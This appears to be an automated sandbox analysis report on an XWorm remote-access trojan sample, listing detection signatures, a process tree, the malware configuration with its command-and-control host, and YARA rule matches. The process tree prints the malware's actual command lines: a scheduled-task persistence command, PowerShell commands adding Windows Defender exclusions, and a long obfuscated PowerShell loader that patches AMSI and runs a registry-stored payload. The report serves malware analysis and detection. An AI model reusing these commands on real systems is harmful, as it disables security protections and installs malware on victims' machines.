Edit tour

Windows Analysis Report
mIURiU8n2P.exe

Overview

General Information

Sample name:	mIURiU8n2P.exe renamed because original name is a hash value
Original sample name:	bd00a7577088b67b52699f956275a3f563d623ca907feeeaee8d2f821d35de40.exe
Analysis ID:	1532627
MD5:	e1c82191b678cea8f3c996887ddc1232
SHA1:	7946006ca278892817b7a778eea1e04f5b2f948c
SHA256:	bd00a7577088b67b52699f956275a3f563d623ca907feeeaee8d2f821d35de40
Tags:	exeuser-Chainskilabs
Infos:

Detection

XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Telegram RAT

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

.NET source code contains process injector

.NET source code contains very large strings

.NET source code references suspicious native API functions

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to inject code into remote processes

Contains functionality to log keystrokes (.Net Source)

Creates a thread in another existing process (thread injection)

Creates multiple autostart registry keys

Drops PE files to the user root directory

Found suspicious powershell code related to unpacking or dynamic code loading

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Installs new ROOT certificates

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

Obfuscated command line found

Protects its processes via BreakOnTermination flag

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Execution from Suspicious Folder

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Parent in Public Folder Suspicious Process

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: Potential WinAPI Calls Via CommandLine

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Program Location with Network Connections

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates COM task schedule object (often to register a task for autostart)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Creates job files (autostart)

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Drops PE files

Drops PE files to the user directory

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Uncommon Svchost Parent Process

Stores files to the Windows start menu directory

Stores large binary data to the registry

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

mIURiU8n2P.exe (PID: 2076 cmdline: "C:\Users\user\Desktop\mIURiU8n2P.exe" MD5: E1C82191B678CEA8F3C996887DDC1232)

DeadXClient.exe (PID: 5324 cmdline: "C:\Users\Public\DeadXClient.exe" MD5: F1976EA02BFFAEF5AC943C2ABBB7426C)

schtasks.exe (PID: 7244 cmdline: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Deadsvchost" /tr "C:\Users\Public\Deadsvchost.exe" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DeadROOTkit.exe (PID: 5804 cmdline: "C:\Users\Public\DeadROOTkit.exe" MD5: 7DD98FC2976EE270A278E1A9A28EEFAE)

powershell.exe (PID: 7176 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\DeadROOTkit.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7868 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'DeadROOTkit.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Deadsvchost.exe (PID: 8132 cmdline: "C:\Users\Public\Deadsvchost.exe" MD5: F1976EA02BFFAEF5AC943C2ABBB7426C)

DeadCodeRootKit.exe (PID: 3444 cmdline: "C:\Users\Public\DeadCodeRootKit.exe" MD5: B8479A23C22CF6FC456E197939284069)

powershell.exe (PID: 5480 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:bubCglTffNzZ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$QBDRAqnALMmwja,[Parameter(Position=1)][Type]$duQqlSyxSK)$pNdjVVbnfJT=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+[Char](77)+''+'e'+''+[Char](109)+''+'o'+''+'r'+'y'+[Char](77)+'o'+[Char](100)+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+'De'+'l'+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+''+'T'+''+'y'+''+'p'+''+'e'+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+'u'+'b'+'l'+[Char](105)+''+[Char](99)+','+'S'+''+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d,A'+[Char](110)+''+[Char](115)+'i'+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+'Au'+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$pNdjVVbnfJT.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+'m'+[Char](101)+''+','+''+'H'+''+[Char](105)+''+'d'+''+'e'+''+[Char](66)+'y'+[Char](83)+'i'+'g'+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$QBDRAqnALMmwja).SetImplementationFlags('R'+[Char](117)+''+'n'+'t'+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$pNdjVVbnfJT.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'',''+'P'+''+[Char](117)+'bl'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+'e'+'B'+''+[Char](121)+''+'S'+''+'i'+''+'g'+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+','+[Char](86)+''+[Char](105)+'r'+[Char](116)+'u'+'a'+''+'l'+'',$duQqlSyxSK,$QBDRAqnALMmwja).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $pNdjVVbnfJT.CreateType();}$RJkdRlkUxkpOh=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+'r'+[Char](111)+''+'s'+''+[Char](111)+''+'f'+'t.W'+[Char](105)+'n'+[Char](51)+'2.'+[Char](85)+''+[Char](110)+'s'+[Char](97)+'f'+[Char](101)+'N'+'a'+''+[Char](116)+'iv'+[Char](101)+''+'M'+''+[Char](101)+''+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$zjaDRBJuPBhArz=$RJkdRlkUxkpOh.GetMethod('G'+'e'+''+'t'+'P'+[Char](114)+''+'o'+''+'c'+''+[Char](65)+''+'d'+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+'u'+[Char](98)+''+[Char](108)+'ic'+[Char](44)+''+[Char](83)+''+'t'+''+[Char](97)+'t'+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$SsrFUvzfWALaJuFfDwp=bubCglTffNzZ @([String])([IntPtr]);$tNZWRoZhdGxbOGCpZBOKKk=bubCglTffNzZ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$kXUOjVwsnVT=$RJkdRlkUxkpOh.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+'o'+'d'+''+'u'+'l'+[Char](101)+''+'H'+'a'+'n'+''+[Char](100)+''+'l'+'e').Invoke($Null,@([Object](''+'k'+''+[Char](101)+'rn'+'e'+''+[Char](108)+'3'+[Char](50)+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$LadMSRasXMAaNc=$zjaDRBJuPBhArz.Invoke($Null,@([Object]$kXUOjVwsnVT,[Object](''+[Char](76)+'oa'+'d'+'L'+[Char](105)+''+[Char](98)+''+'r'+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$SNikSVGRGIadTTQBM=$zjaDRBJuPBhArz.Invoke($Null,@([Object]$kXUOjVwsnVT,[Object]('V'+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+'e'+'c'+''+[Char](116)+'')));$HSvqCok=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LadMSRasXMAaNc,$SsrFUvzfWALaJuFfDwp).Invoke(''+'a'+''+[Char](109)+''+'s'+'i.'+[Char](100)+'ll');$BNdTdCEoXMsXuDwEG=$zjaDRBJuPBhArz.Invoke($Null,@([Object]$HSvqCok,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+''+'c'+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+'f'+[Char](101)+'r')));$DTvdUDKKbk=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SNikSVGRGIadTTQBM,$tNZWRoZhdGxbOGCpZBOKKk).Invoke($BNdTdCEoXMsXuDwEG,[uint32]8,4,[ref]$DTvdUDKKbk);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$BNdTdCEoXMsXuDwEG,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SNikSVGRGIadTTQBM,$tNZWRoZhdGxbOGCpZBOKKk).Invoke($BNdTdCEoXMsXuDwEG,[uint32]8,0x20,[ref]$DTvdUDKKbk);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+'T'+[Char](87)+'A'+[Char](82)+'E').GetValue(''+[Char](68)+'e'+'a'+''+'d'+''+[Char](115)+''+'t'+'a'+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dllhost.exe (PID: 6968 cmdline: C:\Windows\System32\dllhost.exe /Processid:{7d42e50e-8059-4906-9d19-fa399c842f66} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

winlogon.exe (PID: 552 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

lsass.exe (PID: 628 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

svchost.exe (PID: 920 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 988 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)

svchost.exe (PID: 364 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 356 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 696 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 592 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1044 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1084 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1200 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1252 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1296 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1316 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1408 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s nsi MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1488 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1496 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1552 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1572 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1652 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1724 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1824 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1840 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1940 cmdline: C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1948 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1956 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2036 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

spoolsv.exe (PID: 1932 cmdline: C:\Windows\System32\spoolsv.exe MD5: 0D4B1E3E4488E9BDC035F23E1F4FE22F)

Deadsvchost.exe (PID: 7452 cmdline: C:\Users\Public\Deadsvchost.exe MD5: F1976EA02BFFAEF5AC943C2ABBB7426C)

Deadsvchost.exe (PID: 7700 cmdline: "C:\Users\Public\Deadsvchost.exe" MD5: F1976EA02BFFAEF5AC943C2ABBB7426C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["subscribe-bond.gl.at.ply.gg"], "Port": "28600", "Aes key": "<Xwormmm>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_XWorm_1	Yara detected XWorm	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\Public\DeadXClient.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\Public\DeadXClient.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7532:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x75cf:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x76e4:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x736e:$cnc4: POST / HTTP/1.1
C:\Users\user\AppData\Local\DeadROOTkit.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Local\DeadROOTkit.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\DeadROOTkit.exe	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
C:\Users\user\AppData\Local\DeadROOTkit.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x888a:$s6: VirtualBox 0x87e8:$s8: Win32_ComputerSystem 0x91f6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x9293:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x93a8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8d52:$cnc4: POST / HTTP/1.1
C:\Users\Public\Deadsvchost.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\Public\Deadsvchost.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7532:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x75cf:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x76e4:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x736e:$cnc4: POST / HTTP/1.1
C:\Users\Public\DeadROOTkit.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\Public\DeadROOTkit.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\Public\DeadROOTkit.exe	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
C:\Users\Public\DeadROOTkit.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x888a:$s6: VirtualBox 0x87e8:$s8: Win32_ComputerSystem 0x91f6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x9293:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x93a8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8d52:$cnc4: POST / HTTP/1.1
Click to see the 7 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000000.1700076185.0000000000682000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000001.00000000.1700076185.0000000000682000.00000002.00000001.01000000.00000007.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7332:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x73cf:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x74e4:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x716e:$cnc4: POST / HTTP/1.1
00000000.00000002.1703934967.0000000002781000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.1703934967.0000000002781000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x2642a:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x264c7:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x265dc:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x26266:$cnc4: POST / HTTP/1.1
00000000.00000002.1703934967.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.1703934967.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1703934967.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xa922:$s6: VirtualBox 0x1cbba:$s6: VirtualBox 0xa880:$s8: Win32_ComputerSystem 0x1cb18:$s8: Win32_ComputerSystem 0xb28e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1d526:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xb32b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1d5c3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xb440:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1d6d8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xadea:$cnc4: POST / HTTP/1.1 0x1d082:$cnc4: POST / HTTP/1.1
00000002.00000000.1701692705.00000000001A2000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000002.00000000.1701692705.00000000001A2000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000002.00000000.1701692705.00000000001A2000.00000002.00000001.01000000.00000008.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x868a:$s6: VirtualBox 0x85e8:$s8: Win32_ComputerSystem 0x8ff6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x9093:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x91a8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8b52:$cnc4: POST / HTTP/1.1
00000002.00000002.2956134718.0000000002311000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: mIURiU8n2P.exe PID: 2076	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: mIURiU8n2P.exe PID: 2076	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: DeadXClient.exe PID: 5324	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: DeadROOTkit.exe PID: 5804	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: DeadROOTkit.exe PID: 5804	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.0.DeadROOTkit.exe.1a0000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.0.DeadROOTkit.exe.1a0000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.0.DeadROOTkit.exe.1a0000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
